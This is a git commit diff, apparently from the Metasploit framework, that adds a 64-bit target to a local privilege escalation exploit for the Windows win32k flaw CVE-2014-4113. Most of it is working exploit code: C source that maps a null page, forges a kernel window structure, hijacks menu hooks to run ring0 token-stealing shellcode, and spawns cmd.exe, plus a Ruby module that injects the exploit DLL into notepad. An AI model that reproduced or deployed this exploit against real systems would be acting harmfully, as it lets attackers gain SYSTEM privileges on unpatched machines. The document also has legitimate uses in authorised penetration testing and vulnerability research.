Initial addition of x64 target for cve-2014-4113

bug/bundler_fix
Spencer McIntyre 2014-10-26 16:54:42 -04:00
parent d8eaf3dd65
commit 7416c00416
5 changed files with 221 additions and 24 deletions

Binary file not shown.

View File

@ -1,18 +1,26 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
VisualStudioVersion = 12.0.30723.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.ActiveCfg = Debug|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.Build.0 = Debug|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.ActiveCfg = Release|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@ -14,7 +14,12 @@ typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define DEBUGGING FALSE
#define DEBUGGING TRUE
#ifdef _M_X64
typedef unsigned __int64 QWORD;
typedef QWORD *PQWORD;
#endif
int WndProcClue = 0;
int HookCallbackClue = 0;
@ -45,15 +50,15 @@ typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
);
typedef struct _SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
HANDLE Reserved1;
PVOID Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
USHORT Id;
USHORT Rank;
USHORT w018;
USHORT NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
@ -73,6 +78,13 @@ LRESULT __stdcall HookCallbackThree(int code, WPARAM wParam, LPARAM lParam)
return CallNextHookEx(0, code, wParam, lParam);
}
#ifdef _M_X64
long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
EndMenu();
return -5;
}
#else
LRESULT __stdcall HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
LRESULT result;
@ -101,13 +113,23 @@ LRESULT __stdcall HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lPa
}
return result;
}
#endif
LRESULT __stdcall HookCallback(int code, WPARAM wParam, LPARAM lParam) {
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
#ifdef _M_X64
if (*(DWORD *)(lParam + 16) == 0x1EB && !HookCallbackClue)
#else
if (*(DWORD *)(lParam + 8) == 0x1EB && !HookCallbackClue)
#endif
{
HookCallbackClue = 1;
if (UnhookWindowsHook(4, HookCallback))
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)HookCallbackTwo);
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
#ifdef _M_X64
lpPrevWndFunc = (WNDPROC)SetWindowLongPtr(*(HWND *)(lParam + 0x18), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
#else
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
#endif
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
@ -122,13 +144,58 @@ LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
return DefWindowProc(hwnd, msg, wParam, lParam);
}
#ifdef _M_X64
QWORD MyPtiCurrent(void) {
struct _IMAGE_DOS_HEADER *hUser32;
PIMAGE_DOS_HEADER dosHeader;
FARPROC tmpProcAddress;
PIMAGE_NT_HEADERS ntHeader;
QWORD imageBase;
BYTE currentByte;
QWORD sizeOfImage;
int counter;
PIMAGE_DOS_HEADER(*v8)(void);
PIMAGE_DOS_HEADER *v10;
v10 = 0;
hUser32 = LoadLibraryA("user32.dll");
dosHeader = hUser32;
if (hUser32) {
tmpProcAddress = GetProcAddress(hUser32, "AnimateWindow");
if (tmpProcAddress && dosHeader->e_magic == 'ZM') {
ntHeader = (PIMAGE_NT_HEADERS)((BYTE *)dosHeader + dosHeader->e_lfanew);
imageBase = ntHeader->OptionalHeader.ImageBase;
currentByte = *(BYTE *)tmpProcAddress;
sizeOfImage = imageBase + ntHeader->OptionalHeader.SizeOfImage;
counter = 0;
do {
if (currentByte == 0xe8) {
v8 = (FARPROC)((char *)tmpProcAddress);
v8 = (FARPROC)((QWORD)v8 + counter);
v8 = (FARPROC)((DWORD)v8 + *(DWORD *)((char *)tmpProcAddress + counter + 1));
v8 = (FARPROC)((QWORD)v8 + 5);
if (((QWORD)v8 >= imageBase) && ((QWORD)v8 <= sizeOfImage)) {
v10 = (PIMAGE_DOS_HEADER *)v8();
break;
}
}
counter++;
currentByte = *((BYTE *)tmpProcAddress + counter);
} while (counter <= 70);
}
FreeLibrary(dosHeader);
dosHeader = (PIMAGE_DOS_HEADER)v10;
}
return (QWORD)dosHeader;
}
#else
DWORD __stdcall MyPtiCurrent() {
__asm {
mov eax, fs : 18h
mov eax, [eax + 40h]
}
}
#endif
int _stdcall shellcode_ring0(int one, int two, int three, int four) {
void *my_process_info = NULL;
@ -151,6 +218,7 @@ LogMessage(char* pszFormat, ...) {
va_list args;
va_start(args, pszFormat);
vsprintf(s_acBuf, pszFormat, args);
printf("%s\n", s_acBuf);
OutputDebugString(s_acBuf);
va_end(args);
}
@ -187,7 +255,11 @@ void Win32kNullPage(LPVOID lpPayload) {
if (VersionInformation.dwMajorVersion == 6) {
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
LogMessage("[*] Windows 6.1 found...");
#ifdef _M_X64
OffsetWindows = 0x208;
#else
OffsetWindows = 0xf8;
#endif
}
else if (!VersionInformation.dwMinorVersion) {
LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2
@ -306,9 +378,13 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
#ifdef _M_X64
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((QWORD)nt_base + ((QWORD)pPsLookupProcessByProcessId - (QWORD)ntkrnl));
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %016llx\n", pPsLookupProcessByProcessId);
#else
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD)nt_base + ((DWORD)pPsLookupProcessByProcessId - (DWORD)ntkrnl));
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %08x\n", pPsLookupProcessByProcessId);
#endif
MyProcessId = GetCurrentProcessId();
@ -336,7 +412,11 @@ void Win32kNullPage(LPVOID lpPayload) {
// Making everything ready for exploitation...
LogMessage("[*] Allocating null page...");
#ifdef _M_X64
ULONGLONG base_address = 0x00000000fffffffb;
#else
DWORD base_address = 1;
#endif
SIZE_T region_size = 0x1000;
ULONG zero_bits = 0;
HANDLE current_process = NULL;
@ -350,7 +430,11 @@ void Win32kNullPage(LPVOID lpPayload) {
LogMessage("[*] Getting PtiCurrent...");
#ifdef _M_X64
ULONGLONG pti = MyPtiCurrent();
#else
DWORD pti = MyPtiCurrent();
#endif
if (pti == 0) {
LoadLibrary("user32.dll");
@ -363,11 +447,28 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
else {
#ifdef _M_X64
LogMessage("[*] Good! pti 0x%016llx", pti);
#else
LogMessage("[*] Good! pti 0x%08x", pti);
#endif
}
LogMessage("[*] Creating a fake structure at NULL...");
#ifdef _M_X64
void *test = NULL;
(QWORD)test = 0x10000000B;
*((PQWORD)test) = pti;
/* win32k!tagWND->bServerSideWindowProc = TRUE */
(QWORD)test = 0x100000025;
*((PBYTE)test) = 4;
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
(QWORD)test = 0x10000008B;
*((PQWORD)test) = &shellcode_ring0;
#else
void *test = promise_land + 3;
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
.text:BF8B93F4 02C mov edi, _gptiCurrent
@ -380,7 +481,7 @@ void Win32kNullPage(LPVOID lpPayload) {
test = promise_land + 0x5b;
*(LPDWORD)test = (DWORD)shellcode_ring0;
#endif
// Exploit!
@ -394,7 +495,7 @@ void Win32kNullPage(LPVOID lpPayload) {
MENUITEMINFOA MenuOneInfo;
memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA));
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
MenuOneInfo.fMask = 64;
MenuOneInfo.fMask = MIIM_STRING;
if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) {
LogMessage("[!] First InsertMenuItemA failed");
@ -412,7 +513,7 @@ void Win32kNullPage(LPVOID lpPayload) {
MENUITEMINFOA MenuTwoInfo;
memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA));
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
MenuTwoInfo.fMask = 68;
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
MenuTwoInfo.dwTypeData = "";
MenuTwoInfo.cch = 1;
MenuTwoInfo.hSubMenu = MenuOne;
@ -423,8 +524,7 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
DWORD thread_id = GetCurrentThreadId();
if (SetWindowsHookExA(4, HookCallback, NULL, thread_id) == NULL) {
if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) {
LogMessage("[!] SetWindowsHookExA failed :-(\n");
DestroyMenu(MenuTwo);
DestroyMenu(MenuOne);
@ -440,6 +540,21 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
BOOL ExecuteShell(void) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
if (!CreateProcess(0, "cmd.exe", NULL, NULL, TRUE, 0, NULL, "C:\\WINDOWS\\system32", &si, &pi)) {
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
return TRUE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch (dwReason) {

View File

@ -5,10 +5,18 @@
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid>
@ -22,6 +30,13 @@
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
@ -29,22 +44,41 @@
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<CompileAs>CompileAsC</CompileAs>
@ -60,6 +94,21 @@
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<CompileAs>CompileAsC</CompileAs>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<CompileAs>CompileAsC</CompileAs>
@ -76,6 +125,22 @@
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<CompileAs>CompileAsC</CompileAs>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<CompileAs>Default</CompileAs>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>false</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="cve-2014-4113.c" />
</ItemGroup>

View File

@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Local
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez' # msf module
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre' # msf module (x64 target)
],
'Arch' => ARCH_X86,
'Platform' => 'win',
@ -46,7 +47,9 @@ class Metasploit3 < Msf::Exploit::Local
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows 32 bits', { } ]
# Tested on (64 bits):
# * Windows 2008 R2 SP1
[ 'Automatic', { } ],
],
'Payload' =>
{
@ -85,10 +88,11 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
target_arch = ARCH_X86
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
target_arch = ARCH_X86_64
end
print_status('Launching notepad to host the exploit...')
@ -104,7 +108,12 @@ class Metasploit3 < Msf::Exploit::Local
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', 'cve-2014-4113.x86.dll')
if target_arch == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else
dll_file_name = 'cve-2014-4113.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")